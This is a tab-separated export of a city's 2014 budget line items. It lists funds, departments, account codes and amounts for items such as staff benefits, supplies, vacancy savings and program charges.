11552	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	2434.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2434.0
11553	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522710.0	AUTO REIMBURSEMENT	810.0	 Supplies and Expenses	2014	1200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1200.0
11554	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	30257.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30257.0
11555	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	800.0
11556	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	695.0	0	0	0	0	0	0.0	0	0	0	0	0.0	695.0
11557	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	200.0
11558	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	84716.0	0	0	0	0	0	0.0	0	0	0	0	0.0	84716.0
11559	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	1738.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1738.0
11560	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	139.0	0	0	0	0	0	0.0	0	0	0	0	0.0	139.0
11561	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2014	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
11562	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2014	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
11563	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2014	7500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7500.0
11564	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	5001.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5001.0
11565	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	8690.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8690.0
11566	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150.0
11567	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	121949.0	0	0	0	0	0	0.0	0	0	0	0	0.0	121949.0
11568	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	1036.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1036.0
11569	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	115.0	0	0	0	0	0	0.0	0	0	0	0	0.0	115.0
11570	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2014	2657.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2657.0
11571	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	72.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72.0
11572	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	1800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1800.0
11573	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	408060.0	TOBACCO RETAILER LICENSE	608.0	Licenses and Permits	2014	-28099.0	0	0	0	0	0	28099.0	0	0	0	0	0.0	0.0
11574	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577840.0	ASSESSMENTS FOR CITY-OWNED PRO	820.0	 Supplies and Expenses	2014	447515.0	0	0	0	0	0	0.0	0	0	0	0	0.0	447515.0
11575	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	806.0	 Supplies and Expenses	2014	5517.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5517.0
11576	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2014	2930.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2930.0
11577	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522620.0	RENT	808.0	 Supplies and Expenses	2014	37000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37000.0
11578	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	130000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	130000.0
11579	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	405875.0	HOMEWORK CLUB	612.0	Charges for Service	2014	-32550.0	0	0	0	0	0	0.0	32550	0	0	0	0.0	0.0
11580	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560020.0	DOWNSPOUT REDIRECT	808.0	 Supplies and Expenses	2014	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
11581	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533690.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2014	4165.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4165.0
11582	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401750.0	MUSEUM UTILITY REIMBURSE	622.0	Other	2014	-6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6000.0
11583	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	2280.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2280.0
11584	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
11585	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		ST. JOE-HPSHP		 Supplies and Expenses	2014	275943.0	0	0	0	0	0	0.0	0	0	0	0	0.0	275943.0
11586	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577723.0	ST. JOE SHELTER PLUS CARE-CDBG	810.0	 Supplies and Expenses	2014	3386.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3386.0
11587	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	83161.0	83161.0
11588	B1	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	45751.0	45751.0
11589	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	404030.0	PROP 84-IN-LINE STORM DRAIN	610.0	Intergovernmental	2014	0.0	0	0	0	-93377	0	0.0	0	0	0	0	0.0	-93377.0
11590	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408260.0	AHPP COMP MONITOR-ANNUAL FEE	622.0	Other	2014	-130000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-130000.0
11591	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511748.0	DENTAL		Salaries and Wages	2014	2434.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2434.0
11592	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-1247.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1247.0
11593	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2014	98503.0	0	0	0	0	0	0.0	0	0	0	0	0.0	98503.0
11594	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577940.0	REIMB FOR PARKING EXPEND		 Supplies and Expenses	2014	268773.0	0	0	0	0	0	0.0	0	0	0	0	0.0	268773.0
11595	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	49769.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49769.0
11596	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2014	5134.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5134.0
11597	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511749.0	VISION	804.0	Salaries and Wages	2014	668.0	0	0	0	0	0	0.0	0	0	0	0	0.0	668.0
11598	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-918.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-918.0
11599	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		DCAP	804.0	Salaries and Wages	2014	324.0	0	0	0	0	0	0.0	0	0	0	0	0.0	324.0
11600	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	2050.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2050.0
11601	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2014	-27678.0	0	0	0	0	-6850	0.0	0	0	0	0	0.0	-34528.0
11602	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2014	-32799.0	0	0	0	0	-5785	0.0	0	0	0	0	0.0	-38584.0
11603	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		EAP	804.0	Salaries and Wages	2014	409.0	0	0	0	0	0	0.0	0	0	0	0	0.0	409.0
11604	B1	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2014	235473.0	0	0	0	0	0	0.0	0	0	0	0	0.0	235473.0
11605	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-NATURAL GAS-CITY YAR	808.0	 Supplies and Expenses	2014	7797.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7797.0
11606	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12000.0
11607	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2014	2564.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2564.0
11608	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577550.0	FARMERS' MARKET SUPPLIES		 Supplies and Expenses	2014	37735.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37735.0
11609	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533030.0	PROPERTY INSURANCE	854.0	 Supplies and Expenses	2014	157031.0	0	0	0	0	0	0.0	0	0	0	0	0.0	157031.0
11610	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	401.0	0	0	0	0	0	0.0	0	0	0	0	0.0	401.0
11611	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FSS ADMIN	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-65286	0	0	0	0.0	-65286.0
11612	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2014	0.0	0	0	0	0	0	0.0	-29500	0	0	0	0.0	-29500.0
11613	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400881.0	SPC HAP SU02	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-64240	0	0	0	0.0	-64240.0
11614	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400884.0	SPC HAP EXPANSION	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-214044	0	0	0	0.0	-214044.0
11615	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400921.0	SPC ADMIN SU02	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-4067	0	0	0	0.0	-4067.0
11616	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
11617	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
11618	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
11619	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
11620	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
11621	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	122257.0	0	0	0	0	0	0.0	0	0	0	0	0.0	122257.0
11622	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	272.0	0	0	0	0	0	0.0	0	0	0	0	0.0	272.0
11623	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1100.0
11624	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	12002.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12002.0
11625	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	195754.0	0	0	0	57222	11538	-8.0	0	0	0	0	0.0	264506.0
11626	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EAP	804.0	Salaries and Wages	2014	205.0	0	0	0	0	0	0.0	0	0	0	0	0.0	205.0
11627	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2014	19293.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19293.0
11628	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511748.0	DENTAL		Salaries and Wages	2014	7302.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7302.0
11629	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2014	2477.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2477.0
11630	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2014	9650.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9650.0
11631	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2014	4500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4500.0
11632	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
11633	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2014	117000.0	0	0	0	0	0	0.0	0	0	0	0	200000.0	317000.0
11634	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	400600.0	OVERSIZE LOAD	612.0	Charges for Service	2014	-30071.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-30071.0
11635	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566610.0	PROCESS & HAULING EXPENSE	808.0	 Supplies and Expenses	2014	2578184.5	0	0	0	0	0	0.0	0	0	0	0	0.0	2578184.5
11636	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-359.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-359.0
11637	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-6710.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6710.0
11638	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-31075.0	0	0	0	-5358	0	0.0	0	0	0	0	0.0	-36433.0
11639	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-33800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-33800.0
11640	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-887.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-887.0
11641	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-16274.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16274.0
11642	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409008.0	CHILDCARE-APRIL	612.0	Charges for Service	2014	-31130.0	0	0	0	0	0	0.0	31130	0	0	0	0.0	0.0
11643	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409009.0	CHILDCARE-MAY	612.0	Charges for Service	2014	-29923.0	0	0	0	0	0	0.0	29923	0	0	0	0.0	0.0
11644	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409010.0	CHILDCARE-JUNE	612.0	Charges for Service	2014	-29923.0	0	0	0	0	0	0.0	29923	0	0	0	0.0	0.0
11645	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409032.0	CAMP SM-SPRING	612.0	Charges for Service	2014	-8733.0	0	0	0	0	0	0.0	8733	0	0	0	0.0	0.0
11646	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409042.0	ELEM SPORTS-WINTER	612.0	Charges for Service	2014	-52410.0	0	0	0	0	0	0.0	52410	0	0	0	0.0	0.0
11647	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409052.0	MIDDLE SPORTS-WINTER	612.0	Charges for Service	2014	-22332.0	0	0	0	0	0	0.0	22332	0	0	0	0.0	0.0
11648	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409053.0	MIDDLE SPORTS-SPRING	612.0	Charges for Service	2014	-24937.0	0	0	0	0	0	0.0	24937	0	0	0	0.0	0.0
11649	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409061.0	SMSE-WINTER	612.0	Charges for Service	2014	-3640.0	0	0	0	0	0	0.0	3640	0	0	0	0.0	0.0
11650	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409062.0	SMSE-SPRING	612.0	Charges for Service	2014	-7636.0	0	0	0	0	0	0.0	7636	0	0	0	0.0	0.0
11651	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
11652	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
11653	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555210.0	TRAINING		 Supplies and Expenses	2014	800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	800.0
11654	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	653172.0	0	0	0	0	0	0.0	0	0	0	0	0.0	653172.0
11655	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	12090.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12090.0
11656	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	3001.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3001.0
11657	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	4856.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4856.0
11658	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	13000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13000.0
11659	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511749.0	VISION	804.0	Salaries and Wages	2014	269.0	0	0	0	0	0	0.0	0	0	0	0	0.0	269.0
11660	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DCAP	804.0	Salaries and Wages	2014	132.0	0	0	0	0	0	0.0	0	0	0	0	0.0	132.0
11661	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1006.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1006.0
11662	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	10165.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10165.0
11663	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-63345.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-63345.0
11664	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-262192.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-262192.0
11665	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-17847.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-17847.0
11666	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2014	-51863.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-51863.0
11667	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2014	-135823.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-135823.0
11668	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	408220.0	PUBLIC NOTIFICATION REVENUE	612.0	Charges for Service	2014	-9651.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-9651.0
11669	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	92696.0	0	0	0	0	0	0.0	0	0	0	0	0.0	92696.0
11670	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	2625.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2625.0
11671	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2014	-30750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-30750.0
11672	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577346.0	HAP PORT-IN	816.0	 Supplies and Expenses	2014	300000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	300000.0
11673	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522620.0	RENT		 Supplies and Expenses	2014	100995.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100995.0
